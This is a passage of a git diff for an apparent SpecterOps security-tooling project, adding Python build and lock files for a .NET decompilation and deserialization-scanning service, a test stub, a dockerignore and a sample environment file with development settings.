+ {file = "wrapt-1.15.0-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:578383d740457fa790fdf85e6d346fda1416a40549fe8db08e5e9bd281c6a475"},
+ {file = "wrapt-1.15.0-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:a4cbb9ff5795cd66f0066bdf5947f170f5d63a9274f99bdbca02fd973adcf2a8"},
+ {file = "wrapt-1.15.0-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:af5bd9ccb188f6a5fdda9f1f09d9f4c86cc8a539bd48a0bfdc97723970348418"},
+ {file = "wrapt-1.15.0-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:b56d5519e470d3f2fe4aa7585f0632b060d532d0696c5bdfb5e8319e1d0f69a2"},
+ {file = "wrapt-1.15.0-cp36-cp36m-win32.whl", hash = "sha256:77d4c1b881076c3ba173484dfa53d3582c1c8ff1f914c6461ab70c8428b796c1"},
+ {file = "wrapt-1.15.0-cp36-cp36m-win_amd64.whl", hash = "sha256:077ff0d1f9d9e4ce6476c1a924a3332452c1406e59d90a2cf24aeb29eeac9420"},
+ {file = "wrapt-1.15.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:5c5aa28df055697d7c37d2099a7bc09f559d5053c3349b1ad0c39000e611d317"},
+ {file = "wrapt-1.15.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3a8564f283394634a7a7054b7983e47dbf39c07712d7b177b37e03f2467a024e"},
+ {file = "wrapt-1.15.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:780c82a41dc493b62fc5884fb1d3a3b81106642c5c5c78d6a0d4cbe96d62ba7e"},
+ {file = "wrapt-1.15.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e169e957c33576f47e21864cf3fc9ff47c223a4ebca8960079b8bd36cb014fd0"},
+ {file = "wrapt-1.15.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:b02f21c1e2074943312d03d243ac4388319f2456576b2c6023041c4d57cd7019"},
+ {file = "wrapt-1.15.0-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:f2e69b3ed24544b0d3dbe2c5c0ba5153ce50dcebb576fdc4696d52aa22db6034"},
+ {file = "wrapt-1.15.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:d787272ed958a05b2c86311d3a4135d3c2aeea4fc655705f074130aa57d71653"},
+ {file = "wrapt-1.15.0-cp37-cp37m-win32.whl", hash = "sha256:02fce1852f755f44f95af51f69d22e45080102e9d00258053b79367d07af39c0"},
+ {file = "wrapt-1.15.0-cp37-cp37m-win_amd64.whl", hash = "sha256:abd52a09d03adf9c763d706df707c343293d5d106aea53483e0ec8d9e310ad5e"},
+ {file = "wrapt-1.15.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:cdb4f085756c96a3af04e6eca7f08b1345e94b53af8921b25c72f096e704e145"},
+ {file = "wrapt-1.15.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:230ae493696a371f1dbffaad3dafbb742a4d27a0afd2b1aecebe52b740167e7f"},
+ {file = "wrapt-1.15.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:63424c681923b9f3bfbc5e3205aafe790904053d42ddcc08542181a30a7a51bd"},
+ {file = "wrapt-1.15.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d6bcbfc99f55655c3d93feb7ef3800bd5bbe963a755687cbf1f490a71fb7794b"},
+ {file = "wrapt-1.15.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c99f4309f5145b93eca6e35ac1a988f0dc0a7ccf9ccdcd78d3c0adf57224e62f"},
+ {file = "wrapt-1.15.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:b130fe77361d6771ecf5a219d8e0817d61b236b7d8b37cc045172e574ed219e6"},
+ {file = "wrapt-1.15.0-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:96177eb5645b1c6985f5c11d03fc2dbda9ad24ec0f3a46dcce91445747e15094"},
+ {file = "wrapt-1.15.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:d5fe3e099cf07d0fb5a1e23d399e5d4d1ca3e6dfcbe5c8570ccff3e9208274f7"},
+ {file = "wrapt-1.15.0-cp38-cp38-win32.whl", hash = "sha256:abd8f36c99512755b8456047b7be10372fca271bf1467a1caa88db991e7c421b"},
+ {file = "wrapt-1.15.0-cp38-cp38-win_amd64.whl", hash = "sha256:b06fa97478a5f478fb05e1980980a7cdf2712015493b44d0c87606c1513ed5b1"},
+ {file = "wrapt-1.15.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:2e51de54d4fb8fb50d6ee8327f9828306a959ae394d3e01a1ba8b2f937747d86"},
+ {file = "wrapt-1.15.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:0970ddb69bba00670e58955f8019bec4a42d1785db3faa043c33d81de2bf843c"},
+ {file = "wrapt-1.15.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:76407ab327158c510f44ded207e2f76b657303e17cb7a572ffe2f5a8a48aa04d"},
+ {file = "wrapt-1.15.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cd525e0e52a5ff16653a3fc9e3dd827981917d34996600bbc34c05d048ca35cc"},
+ {file = "wrapt-1.15.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9d37ac69edc5614b90516807de32d08cb8e7b12260a285ee330955604ed9dd29"},
+ {file = "wrapt-1.15.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:078e2a1a86544e644a68422f881c48b84fef6d18f8c7a957ffd3f2e0a74a0d4a"},
+ {file = "wrapt-1.15.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:2cf56d0e237280baed46f0b5316661da892565ff58309d4d2ed7dba763d984b8"},
+ {file = "wrapt-1.15.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:7dc0713bf81287a00516ef43137273b23ee414fe41a3c14be10dd95ed98a2df9"},
+ {file = "wrapt-1.15.0-cp39-cp39-win32.whl", hash = "sha256:46ed616d5fb42f98630ed70c3529541408166c22cdfd4540b88d5f21006b0eff"},
+ {file = "wrapt-1.15.0-cp39-cp39-win_amd64.whl", hash = "sha256:eef4d64c650f33347c1f9266fa5ae001440b232ad9b98f1f43dfe7a79435c0a6"},
+ {file = "wrapt-1.15.0-py3-none-any.whl", hash = "sha256:64b1df0f83706b4ef4cfb4fb0e4c2669100fd7ecacfb59e091fad300d4e04640"},
+ {file = "wrapt-1.15.0.tar.gz", hash = "sha256:d06730c6aed78cee4126234cf2d071e01b44b915e725a6cb439a879ec9754a3a"},
+]
+
+[[package]]
+name = "yara-python"
+version = "4.3.1"
+description = "Python interface for YARA"
+optional = false
+python-versions = "*"
+files = [
+ {file = "yara-python-4.3.1.tar.gz", hash = "sha256:7af4354ee0f1561f51fd01771a121d8d385b93bbc6138a25a38ce68aa6801c2c"},
+ {file = "yara_python-4.3.1-cp310-cp310-win32.whl", hash = "sha256:834d8fe2cdb5cf61d5e505d32c504b62891df5ce5af9f04dbd8c7575c1dbef30"},
+ {file = "yara_python-4.3.1-cp310-cp310-win_amd64.whl", hash = "sha256:ec05d0b7cc46728119d450875382d5386305510b8cfb14bad3627060c9e6f199"},
+ {file = "yara_python-4.3.1-cp311-cp311-win32.whl", hash = "sha256:c8663f75f0c5f82e0f6053c9ddbddd97f956787bffb7f64cac1e40e0a21db89c"},
+ {file = "yara_python-4.3.1-cp311-cp311-win_amd64.whl", hash = "sha256:51f1bdbcdbcfa29a7a2cf7e7e5d6a7d8dbd00568e4ab6103adceda5a499895a6"},
+ {file = "yara_python-4.3.1-cp37-cp37m-win32.whl", hash = "sha256:8847bb5e74d2b33cf48f372bed02805876ab2e414aa7fd50c16a7c6150316601"},
+ {file = "yara_python-4.3.1-cp37-cp37m-win_amd64.whl", hash = "sha256:fbf8281a6eb538b5c219a9c54c65a910806e7adf28a7d878f2cff551cbbd43ea"},
+ {file = "yara_python-4.3.1-cp38-cp38-win32.whl", hash = "sha256:fd70fe0ba522d4ecd73cbf45e528872844e61e2febe8f66e8a94c2674751b831"},
+ {file = "yara_python-4.3.1-cp38-cp38-win_amd64.whl", hash = "sha256:950377dd53d17870f66406f0db9ed9f6b04ac7e61c7f6fd5429459e2a00fd874"},
+ {file = "yara_python-4.3.1-cp39-cp39-win32.whl", hash = "sha256:c032ad4ec6698a4f485b3d9721e6223028953bb61362482bdd7eabb147271e80"},
+ {file = "yara_python-4.3.1-cp39-cp39-win_amd64.whl", hash = "sha256:f0b7b2ea840638415a075a25860dbcb6466d83000a8367196188a6367b01af71"},
+]
+
+[[package]]
+name = "yarl"
+version = "1.9.2"
+description = "Yet another URL library"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "yarl-1.9.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:8c2ad583743d16ddbdf6bb14b5cd76bf43b0d0006e918809d5d4ddf7bde8dd82"},
+ {file = "yarl-1.9.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:82aa6264b36c50acfb2424ad5ca537a2060ab6de158a5bd2a72a032cc75b9eb8"},
+ {file = "yarl-1.9.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:c0c77533b5ed4bcc38e943178ccae29b9bcf48ffd1063f5821192f23a1bd27b9"},
+ {file = "yarl-1.9.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ee4afac41415d52d53a9833ebae7e32b344be72835bbb589018c9e938045a560"},
+ {file = "yarl-1.9.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9bf345c3a4f5ba7f766430f97f9cc1320786f19584acc7086491f45524a551ac"},
+ {file = "yarl-1.9.2-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2a96c19c52ff442a808c105901d0bdfd2e28575b3d5f82e2f5fd67e20dc5f4ea"},
+ {file = "yarl-1.9.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:891c0e3ec5ec881541f6c5113d8df0315ce5440e244a716b95f2525b7b9f3608"},
+ {file = "yarl-1.9.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c3a53ba34a636a256d767c086ceb111358876e1fb6b50dfc4d3f4951d40133d5"},
+ {file = "yarl-1.9.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:566185e8ebc0898b11f8026447eacd02e46226716229cea8db37496c8cdd26e0"},
+ {file = "yarl-1.9.2-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:2b0738fb871812722a0ac2154be1f049c6223b9f6f22eec352996b69775b36d4"},
+ {file = "yarl-1.9.2-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:32f1d071b3f362c80f1a7d322bfd7b2d11e33d2adf395cc1dd4df36c9c243095"},
+ {file = "yarl-1.9.2-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:e9fdc7ac0d42bc3ea78818557fab03af6181e076a2944f43c38684b4b6bed8e3"},
+ {file = "yarl-1.9.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:56ff08ab5df8429901ebdc5d15941b59f6253393cb5da07b4170beefcf1b2528"},
+ {file = "yarl-1.9.2-cp310-cp310-win32.whl", hash = "sha256:8ea48e0a2f931064469bdabca50c2f578b565fc446f302a79ba6cc0ee7f384d3"},
+ {file = "yarl-1.9.2-cp310-cp310-win_amd64.whl", hash = "sha256:50f33040f3836e912ed16d212f6cc1efb3231a8a60526a407aeb66c1c1956dde"},
+ {file = "yarl-1.9.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:646d663eb2232d7909e6601f1a9107e66f9791f290a1b3dc7057818fe44fc2b6"},
+ {file = "yarl-1.9.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:aff634b15beff8902d1f918012fc2a42e0dbae6f469fce134c8a0dc51ca423bb"},
+ {file = "yarl-1.9.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a83503934c6273806aed765035716216cc9ab4e0364f7f066227e1aaea90b8d0"},
+ {file = "yarl-1.9.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b25322201585c69abc7b0e89e72790469f7dad90d26754717f3310bfe30331c2"},
+ {file = "yarl-1.9.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:22a94666751778629f1ec4280b08eb11815783c63f52092a5953faf73be24191"},
+ {file = "yarl-1.9.2-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8ec53a0ea2a80c5cd1ab397925f94bff59222aa3cf9c6da938ce05c9ec20428d"},
+ {file = "yarl-1.9.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:159d81f22d7a43e6eabc36d7194cb53f2f15f498dbbfa8edc8a3239350f59fe7"},
+ {file = "yarl-1.9.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:832b7e711027c114d79dffb92576acd1bd2decc467dec60e1cac96912602d0e6"},
+ {file = "yarl-1.9.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:95d2ecefbcf4e744ea952d073c6922e72ee650ffc79028eb1e320e732898d7e8"},
+ {file = "yarl-1.9.2-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:d4e2c6d555e77b37288eaf45b8f60f0737c9efa3452c6c44626a5455aeb250b9"},
+ {file = "yarl-1.9.2-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:783185c75c12a017cc345015ea359cc801c3b29a2966c2655cd12b233bf5a2be"},
+ {file = "yarl-1.9.2-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:b8cc1863402472f16c600e3e93d542b7e7542a540f95c30afd472e8e549fc3f7"},
+ {file = "yarl-1.9.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:822b30a0f22e588b32d3120f6d41e4ed021806418b4c9f0bc3048b8c8cb3f92a"},
+ {file = "yarl-1.9.2-cp311-cp311-win32.whl", hash = "sha256:a60347f234c2212a9f0361955007fcf4033a75bf600a33c88a0a8e91af77c0e8"},
+ {file = "yarl-1.9.2-cp311-cp311-win_amd64.whl", hash = "sha256:be6b3fdec5c62f2a67cb3f8c6dbf56bbf3f61c0f046f84645cd1ca73532ea051"},
+ {file = "yarl-1.9.2-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:38a3928ae37558bc1b559f67410df446d1fbfa87318b124bf5032c31e3447b74"},
+ {file = "yarl-1.9.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ac9bb4c5ce3975aeac288cfcb5061ce60e0d14d92209e780c93954076c7c4367"},
+ {file = "yarl-1.9.2-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3da8a678ca8b96c8606bbb8bfacd99a12ad5dd288bc6f7979baddd62f71c63ef"},
+ {file = "yarl-1.9.2-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:13414591ff516e04fcdee8dc051c13fd3db13b673c7a4cb1350e6b2ad9639ad3"},
+ {file = "yarl-1.9.2-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bf74d08542c3a9ea97bb8f343d4fcbd4d8f91bba5ec9d5d7f792dbe727f88938"},
+ {file = "yarl-1.9.2-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6e7221580dc1db478464cfeef9b03b95c5852cc22894e418562997df0d074ccc"},
+ {file = "yarl-1.9.2-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:494053246b119b041960ddcd20fd76224149cfea8ed8777b687358727911dd33"},
+ {file = "yarl-1.9.2-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:52a25809fcbecfc63ac9ba0c0fb586f90837f5425edfd1ec9f3372b119585e45"},
+ {file = "yarl-1.9.2-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:e65610c5792870d45d7b68c677681376fcf9cc1c289f23e8e8b39c1485384185"},
+ {file = "yarl-1.9.2-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:1b1bba902cba32cdec51fca038fd53f8beee88b77efc373968d1ed021024cc04"},
+ {file = "yarl-1.9.2-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:662e6016409828ee910f5d9602a2729a8a57d74b163c89a837de3fea050c7582"},
+ {file = "yarl-1.9.2-cp37-cp37m-win32.whl", hash = "sha256:f364d3480bffd3aa566e886587eaca7c8c04d74f6e8933f3f2c996b7f09bee1b"},
+ {file = "yarl-1.9.2-cp37-cp37m-win_amd64.whl", hash = "sha256:6a5883464143ab3ae9ba68daae8e7c5c95b969462bbe42e2464d60e7e2698368"},
+ {file = "yarl-1.9.2-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:5610f80cf43b6202e2c33ba3ec2ee0a2884f8f423c8f4f62906731d876ef4fac"},
+ {file = "yarl-1.9.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:b9a4e67ad7b646cd6f0938c7ebfd60e481b7410f574c560e455e938d2da8e0f4"},
+ {file = "yarl-1.9.2-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:83fcc480d7549ccebe9415d96d9263e2d4226798c37ebd18c930fce43dfb9574"},
+ {file = "yarl-1.9.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5fcd436ea16fee7d4207c045b1e340020e58a2597301cfbcfdbe5abd2356c2fb"},
+ {file = "yarl-1.9.2-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:84e0b1599334b1e1478db01b756e55937d4614f8654311eb26012091be109d59"},
+ {file = "yarl-1.9.2-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3458a24e4ea3fd8930e934c129b676c27452e4ebda80fbe47b56d8c6c7a63a9e"},
+ {file = "yarl-1.9.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:838162460b3a08987546e881a2bfa573960bb559dfa739e7800ceeec92e64417"},
+ {file = "yarl-1.9.2-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f4e2d08f07a3d7d3e12549052eb5ad3eab1c349c53ac51c209a0e5991bbada78"},
+ {file = "yarl-1.9.2-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:de119f56f3c5f0e2fb4dee508531a32b069a5f2c6e827b272d1e0ff5ac040333"},
+ {file = "yarl-1.9.2-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:149ddea5abf329752ea5051b61bd6c1d979e13fbf122d3a1f9f0c8be6cb6f63c"},
+ {file = "yarl-1.9.2-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:674ca19cbee4a82c9f54e0d1eee28116e63bc6fd1e96c43031d11cbab8b2afd5"},
+ {file = "yarl-1.9.2-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:9b3152f2f5677b997ae6c804b73da05a39daa6a9e85a512e0e6823d81cdad7cc"},
+ {file = "yarl-1.9.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:5415d5a4b080dc9612b1b63cba008db84e908b95848369aa1da3686ae27b6d2b"},
+ {file = "yarl-1.9.2-cp38-cp38-win32.whl", hash = "sha256:f7a3d8146575e08c29ed1cd287068e6d02f1c7bdff8970db96683b9591b86ee7"},
+ {file = "yarl-1.9.2-cp38-cp38-win_amd64.whl", hash = "sha256:63c48f6cef34e6319a74c727376e95626f84ea091f92c0250a98e53e62c77c72"},
+ {file = "yarl-1.9.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:75df5ef94c3fdc393c6b19d80e6ef1ecc9ae2f4263c09cacb178d871c02a5ba9"},
+ {file = "yarl-1.9.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:c027a6e96ef77d401d8d5a5c8d6bc478e8042f1e448272e8d9752cb0aff8b5c8"},
+ {file = "yarl-1.9.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:f3b078dbe227f79be488ffcfc7a9edb3409d018e0952cf13f15fd6512847f3f7"},
+ {file = "yarl-1.9.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:59723a029760079b7d991a401386390c4be5bfec1e7dd83e25a6a0881859e716"},
+ {file = "yarl-1.9.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b03917871bf859a81ccb180c9a2e6c1e04d2f6a51d953e6a5cdd70c93d4e5a2a"},
+ {file = "yarl-1.9.2-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c1012fa63eb6c032f3ce5d2171c267992ae0c00b9e164efe4d73db818465fac3"},
+ {file = "yarl-1.9.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a74dcbfe780e62f4b5a062714576f16c2f3493a0394e555ab141bf0d746bb955"},
+ {file = "yarl-1.9.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8c56986609b057b4839968ba901944af91b8e92f1725d1a2d77cbac6972b9ed1"},
+ {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:2c315df3293cd521033533d242d15eab26583360b58f7ee5d9565f15fee1bef4"},
+ {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:b7232f8dfbd225d57340e441d8caf8652a6acd06b389ea2d3222b8bc89cbfca6"},
+ {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:53338749febd28935d55b41bf0bcc79d634881195a39f6b2f767870b72514caf"},
+ {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:066c163aec9d3d073dc9ffe5dd3ad05069bcb03fcaab8d221290ba99f9f69ee3"},
+ {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:8288d7cd28f8119b07dd49b7230d6b4562f9b61ee9a4ab02221060d21136be80"},
+ {file = "yarl-1.9.2-cp39-cp39-win32.whl", hash = "sha256:b124e2a6d223b65ba8768d5706d103280914d61f5cae3afbc50fc3dfcc016623"},
+ {file = "yarl-1.9.2-cp39-cp39-win_amd64.whl", hash = "sha256:61016e7d582bc46a5378ffdd02cd0314fb8ba52f40f9cf4d9a5e7dbef88dee18"},
+ {file = "yarl-1.9.2.tar.gz", hash = "sha256:04ab9d4b9f587c06d801c2abfe9317b77cdf996c65a90d5e84ecc45010823571"},
+]
+
+[package.dependencies]
+idna = ">=2.0"
+multidict = ">=4.0"
+
+[metadata]
+lock-version = "2.0"
+python-versions = "^3.9"
+content-hash = "d8247a503e625f9f02eba73d23d4c5c81d59ca07655da7f1ba7c97185ae1a0e9"
diff --git a/cmd/dotnet/poetry.toml b/cmd/dotnet/poetry.toml
new file mode 100644
index 0000000..5fcef8c
--- /dev/null
+++ b/cmd/dotnet/poetry.toml
@@ -0,0 +1,3 @@
+[virtualenvs]
+in-project = true
+prefer-active-python = true
diff --git a/cmd/dotnet/pyproject.toml b/cmd/dotnet/pyproject.toml
new file mode 100644
index 0000000..ca012a0
--- /dev/null
+++ b/cmd/dotnet/pyproject.toml
@@ -0,0 +1,65 @@
+[tool.poetry]
+name = "dotnet"
+version = "0.1.0"
+description = "dotnet decompilation and deserialization scanning"
+authors = ["SpecterOps "]
+packages = [{ include = "dotnet" }]
+
+[tool.poetry.dependencies]
+python = "^3.9"
+fastapi = "^0.81.0"
+uvicorn = { extras = ["standard"], version = "^0.18.3" }
+python-multipart = "^0.0.5"
+typing = "^3.7.4.3"
+nemesispb = { path = "../../packages/python/nemesispb", develop = true }
+nemesiscommon = { path = "../../packages/python/nemesiscommon", develop = true }
+pycryptodomex = "^3.15.0"
+prometheus-fastapi-instrumentator = "^5.9.1"
+prometheus-client = "^0.15.0"
+requests = "^2.28.1"
+prometheus-async = {extras = ["aiohttp"], version = "^22.2.0"}
+aiohttp = "^3.8.4"
+pydantic = "^1.10.5"
+fastapi-class = "^2.0.0"
+aioboto3 = "^10.4.0"
+structlog = "^23.1.0"
+rich = "^13.3.3"
+
+[tool.poetry.dev-dependencies]
+pytest = "^5.2"
+
+[tool.poetry.group.dev.dependencies]
+debugpy = "^1.6.7"
+
+[build-system]
+requires = ["poetry-core>=1.0.0"]
+build-backend = "poetry.core.masonry.api"
+
+[tool.isort]
+import_heading_stdlib = "Standard Libraries"
+import_heading_firstparty = "Nemesis Libraries"
+import_heading_thirdparty = "3rd Party Libraries"
+profile = "black"
+extra_standard_library = "asgiref"
+known_first_party = "nemesis"
+src_paths = ["isort", "test"]
+line_length = 90
+use_parentheses = true
+multi_line_output = 3
+include_trailing_comma = true
+ensure_newline_before_comments = true
+sections = [
+ "FUTURE",
+ "STDLIB",
+ "DJANGO",
+ "THIRDPARTY",
+ "FIRSTPARTY",
+ "LOCALFOLDER",
+]
+
+# [tool.pyright]
+# Using pyrightconfig.json instead since pyproject.toml has 2nd class
+# support in VS code: https://github.com/microsoft/pyright/issues/694#issuecomment-823778235
+
+[tool.black]
+line-length = 240
diff --git a/cmd/dotnet/pyrightconfig.json b/cmd/dotnet/pyrightconfig.json
new file mode 100644
index 0000000..102e0c9
--- /dev/null
+++ b/cmd/dotnet/pyrightconfig.json
@@ -0,0 +1,40 @@
+{
+ "include": [
+ "**/*.py"
+ ],
+ "exclude": [
+ "**/__pycache__/**",
+ "**/.git/objects/**",
+ "**/.git/subtree-cache/**",
+ "**/.hg/store/**",
+ "**/.ipynb_checkpoints/**",
+ "**/.mypy_cache/**",
+ "**/.pytest_cache/**",
+ "**/.venv/**",
+ "**/*.egg-info/**",
+ "**/build/**",
+ "**/dist/**",
+ "**/node_modules/*/**",
+ "enrichment/lib/ext_tools/*",
+ ],
+ "executionEnvironments": [
+ {
+ "root": ".",
+ "pythonVersion": "3.11",
+ "extraPaths": [
+ "../../packages/python/nemesiscommon",
+ "../../packages/python/nemesispb",
+ ]
+ },
+ ],
+ "ignore": [
+ "enrichment/lib/ext_tools"
+ ],
+ "pythonVersion": "3.11",
+ "reportMissingImports": true,
+ "reportMissingTypeStubs": false,
+ "typeCheckingMode": "basic",
+ "useLibraryCodeForTypes": true,
+ "venvPath": ".",
+ "venv": ".venv"
+}
\ No newline at end of file
diff --git a/cmd/dotnet/tests/__init__.py b/cmd/dotnet/tests/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/cmd/dotnet/tests/dotnet_test.py b/cmd/dotnet/tests/dotnet_test.py
new file mode 100644
index 0000000..d25112b
--- /dev/null
+++ b/cmd/dotnet/tests/dotnet_test.py
@@ -0,0 +1,7 @@
+# 3rd Party Libraries
+import pytest
+
+
+@pytest.mark.asyncio
+async def test_dotnet() -> None:
+ pass
diff --git a/cmd/enrichment/.dockerignore b/cmd/enrichment/.dockerignore
new file mode 100644
index 0000000..0b1e1e7
--- /dev/null
+++ b/cmd/enrichment/.dockerignore
@@ -0,0 +1,27 @@
+**/__pycache__
+**/.venv
+**/.classpath
+**/.dockerignore
+**/.env
+**/.git
+**/.gitignore
+**/.project
+**/.settings
+**/.toolstarget
+**/.vs
+**/.vscode
+**/*.*proj.user
+**/*.dbmdl
+**/*.jfm
+**/bin
+**/charts
+**/docker-compose*
+**/compose*
+**/Dockerfile*
+**/node_modules
+**/npm-debug.log
+**/obj
+**/secrets.dev.yaml
+**/values.dev.yaml
+LICENSE
+README.md
diff --git a/cmd/enrichment/.env.example b/cmd/enrichment/.env.example
new file mode 100644
index 0000000..fa6d399
--- /dev/null
+++ b/cmd/enrichment/.env.example
@@ -0,0 +1,37 @@
+ASSESSMENT_ID=ASSESS-TEST
+AWS_ACCESS_KEY_ID=
+AWS_BUCKET=nemesis-test
+AWS_DEFAULT_REGION=us-east-1
+AWS_SECRET_ACCESS_KEY=
+AWS_KMS_KEY_ALIAS=nemesis-dev
+CHUNK_SIZE=128000
+CONTEXT_WORDS=5
+CRACK_LIST_URI=http://127.0.0.1:9900
+DATA_DOWNLOAD_DIR=/tmp
+DB_ITERATION_SIZE=1000
+DISABLE_ALERTING=False
+DOTNET_URI=http://dotnet:9800
+ELASTICSEARCH_PASSWORD=Qwerty12345
+ELASTICSEARCH_URL=http://192.168.230.42:8834/
+ELASTICSEARCH_USER=nemesis
+ENVIRONMENT=development
+EXTRACTED_ARCHIVE_SIZE_LIMIT=500000000
+GOTENBERG_URI=http://192.168.230.42:3000
+PUBLIC_KIBANA_URL=http://192.168.230.42:8080/kibana/
